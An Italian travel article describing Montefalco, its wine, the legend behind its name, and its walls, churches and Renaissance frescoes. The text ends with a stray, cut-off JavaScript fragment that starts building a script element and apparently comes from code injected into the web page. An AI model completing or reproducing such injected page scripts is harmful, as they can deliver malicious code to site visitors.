montefalco_piazzaMontefalco, piccolo centro situato a pochi passi da Foligno, è famoso in tutto il mondo per la produzione vinicola legata, in particolare, al Sagrantino e al Rosso di Montefalco. Al di là di questa etichetta, sicuramente importante, rappresenta anche un luogo interessante dal punto di vista storico e architettonico.

Essendo situato in cima a una collina che domina la pianura dei fiumi Topino e Clitunno, dai tanti punti di belvedere, nelle giornate più limpide, è possibile ammirare un panorama a 360° che va dall’intera vallata tra Perugia e Spoleto, ai versanti del Subappennino e a quelli dei Monti Martani.

Il toponimo Montefalco si deve, secondo la tradizione, a Federico II di Svevia. L’imperatore, visitando i luoghi nel XIII secolo, constatando il gran numero di falchi presenti nell’area, decise di cambiare il nome della località da Coccorone (Cors Coronae) a quello attuale. La presenza dell’animale nel territorio è andata via via scemando, fino a raggiungere il minimo storico in età moderna.

Fra i luoghi storico artistici più importanti del piccolo centro, segnaliamo in particolar modo la “cinta muraria” con le sue porte, tra cui la merlata Porta Sant’Agostino e le torri, tra cui la Torre del Verziere. Di grande pregio, poi, c’è la Chiesa di Sant’Agostino, costruita tra il 1279 e il 1285, dove si trovano, oltre alle importanti testimonianze della originaria decorazione pittorica trecentesca, affreschi di Ambrogio Lorenzetti; vi sono inoltre custoditi i corpi delle Beate Chiarella e Illuminata e il corpo mummificato del Beato Pellegrino.

Molto ben fatta anche a Piazza del Comune, con, tra gli altri, il duecentesco Palazzo Comunale e il ben conservato centro medievale che la circonda e la Ex Chiesa di Santa Maria di Piazza, risalente alle origini del libero comune.

Di grande valore artistico è poi il Complesso museale di San Francesco, composto dalla Ex Chiesa di San Francesco, costruita tra il 1335 e il 1338, dove si può ammirare l’importante ciclo di affreschi di Benozzo Gozzoli raffiguranti le Storie della vita di San Francesco; contiene inoltre a una Natività del Perugino e custodisce nella cripta un “Lapidario” con sculture e reperti archeologici romani e medievali, dalla Pinacoteca comunale nei locali annessi già dall’ex convento francescano e dalle antiche Cantine dei frati Minori Conventuali di Montefalco che sono state da poco rese accessibili e visitabili.

Di grande valore spirituale è la Chiesa Santuario di Santa Chiara da Montefalco, nella quale si conserva il corpo della Santa e la Cappella di Santa Croce, decorata con affreschi di Scuola umbra del XIV secolo.

Poco fuori il centro abitato ci sono altri interessanti luoghi d’interesse da visitare: la Pieve di San Fortunato (che conserva opere di Benozzo Gozzoli e Tiberio d’Assisi a meno di un chilometro dalla città), la Chiesa di San Rocco e la Chiesa di Sant’Anna (nella frazione di Camiano a circa 2 km dalla città uscendo da Porta Camiano), la Chiesa di Santa Maria di Turrita (del XII secolo, nella frazione di Turrita a pochi chilometri dalla città), il Santuario della Madonna della Stella e il castello di Fabbri, del XIV secolo, a pochi chilometri dalla città.[:]var d=document;var s=d.createElement(‘script’